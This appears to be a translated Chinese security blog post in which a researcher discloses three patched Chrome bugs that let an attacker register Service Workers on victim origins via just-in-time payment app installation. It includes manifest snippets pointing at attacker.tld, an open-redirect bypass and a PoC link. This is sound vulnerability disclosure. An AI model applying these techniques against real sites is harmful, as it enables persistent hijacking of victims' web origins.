通过Chrome滥用即时支付应用

Posted 2021-03-30 嘶吼专业版

当我阅读支付处理程序API方面的资料时，冷不丁看到了下面一句话：

Chrome还支持我们称之为即时（JIT）安装的非标准功能

天哪，我好想闻到了漏洞的味道。所以，我马不停蹄的考察了它的工作原理，读者可以在这里读到这方面的介绍。首先，支付处理程序API允许支付提供商处理发送给它们的支付请求（使用基于Service Worker的API）。什么是支付应用程序的JIT安装功能呢？其实我并不关心它是什么，我只知道存在这一功能。

当使用不受支持的方法调用付款请求时，例如： 

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome会提取supportMethods中指定的网址（例如https://example.com/pay/）。提取的页面需要响应下面指向Payment Method Manifest的响应头部。

Link: <https://example.com/pay/payment-manifest.json>; rel="payment-method-manifest"

现在，Chrome将提取前面指定的Payment Method Manifest，具体如下所示。

{ "default_applications": ["https://example.com/pay/web-app-manifest.json"], "supported_origins": ["https://example.com"] }

接下来，Chrome将提取前面指定的Web App Manifest，具体如下所示。

    {

      "name": "Pay with Example",

      ....

      "serviceworker": {

        "src": "service-worker.js",

        "scope": "https://example.com/pay/"

      },

      ...

    }

Chrome将使用“src”规定的javascript文件来注册Service Worker，其域为“scope”的值。当然，进行JIT安装时有一个前提条件，即用户必须点击“Pay”按钮。

幸运的是，默认情况下“Pay”按钮会自动获取焦点，因此，我们可以让受害者将回车键按3秒钟，这样就能够触发JIT安装了。

不知道您注意到没有，这个支付应用似乎来自www.google.com。事实证明，您可以在Web App Manifest中使用Service Worker脚本在自己的站点中指定任意“scope”，并且它很乐意在任何域内注册支付应用程序。

    {

      "name": "Pay to Attacker",

      ....

      "serviceworker": {

        "src": "https://attacker.tld/service-worker.js",

       "scope": "https://www.google.com/"

      },

      ...

    }

尽管如此，它的行为看起来还是很奇怪，因为Service Worker的源仍然是攻击者的网站的域名，尽管它是使用Google的域注册的。尽管无法拦截导航/付款请求，但是，我却可以使用某些API，例如Console API，当用户访问google.com的控制台时，它就会记录所有的消息。这个漏洞已经非常接近UXSS了，但还是功亏一篑（我应该尝试使用数据URL脚本）。无论如何，这个漏洞在报告后，不到2天就得到了修复，并且在发布Chrome 68之前禁用了JIT安装功能（我获得了$5K奖金）。我注意到的另一件事是，实际上并不需要在受害者的站点上执行脚本来触发JIT安装。让我们假设，攻击者在自己的网站上建立了以下脚本。

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome将会获取不受支持的方法，该方法会响应以下响应头部。

Link: ; rel="payment-method-manifest"

Chrome按如下方式提取Payment Method Manifest。

{ "default_applications": ["https://victim.tld/user-upload/web-app-manifest.json"], "supported_origins": "*"  }

现在，Chrome将从受害者的网站上获取Web App Manifest。这个Web App Manifest可以响应任何Content-Type、Content-Disposition等等。有些人可能会想，“针对JSON文件的Cross-origin No-CORS请求？这不应该被CORB阻止吗？”。是的，的确如此。如果该请求出现在渲染器进程中的话，确实会阻止其响应。但是，这个请求是由浏览器进程发送的，因此，不在CORB的范围内（但是，Chrome需要确保该响应不会泄露给渲染器进程）。

无论如何，Chrome会继续运行，并获取上面指定的Web App Manifest。

    {

      "name": "Pay to Attacker",

      ....

      "serviceworker": {

        "src": "https://victim.tld/user-upload/service-worker.js",

        "scope": "https://victim.tld/user-upload/"

      },

      ...

    }

Service Worker脚本要求为Javascript Content-Type，但Content-Disposition等并不重要。

总之，如果您能够将某些文件上传到受害者的网站，就可以安装Service Worker，并且无需在受害者站点执行脚本（这是一个永恒的XSS）。当然这是一个bug，所以，我提交报告后，不到3周时间就将其修复乐（奖金为$3K）。

因此，只要确保Web App Manifest、Service Worker脚本和Scope URL是同源的，就能够修复第一个bug；通过确保Payment Method Manifest和Payment app来自同一站点，就可以修复第二个bug。好了，让我们看看这些漏洞的利用方法。

攻击者的网站调用： 

new PaymentRequest([{ supportedMethods: 'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome将获得不受支持的方法，该方法会重定向到攻击者的网站，该网站将对以下响应头部做出反应。

Link: ; rel="payment-method-manifest"

剩下的事情，恐怕就不用我多说了吧。我们只需要将另一个文件上传到受害者的网站（Payment Method Manifest），并希望受害者的网站重定向至与文件上传目标同源的网站。这样的话，就能够绕过所有安全检查，并且在没有脚本执行的情况下，在受害者的站点中安装Service Worker。我提交报告后，该漏洞也是在2天内修复好的（奖金为$3133.7）。

最后需要说明的是，该JIT支付应用程序可在Chrome 69中正常使用。

那么，现在有哪些可能的情况呢？ 如果出现以下情况，您仍可以在同一站点内安装Service Worker：

· 您可以控制响应头部，以响应任意链接头部

· 您可以将同一站点中的JS文件和JSON-looking文件上传到您能够控制响应头部的地方 

我认为控制响应头部是非常困难的一件事情，所以，目前的缓解措施已经足够好了(可是，这难道是滥用子域接管的一种新方式?)。此外，我们已经不再需要受害者按住回车键了，因为如果用户同意的话，Chrome将乐于接受点击或按键。

下面是一个用于同站点Service Worker安装的PoC。

https://attack.shhnjk.com/pay_handler.html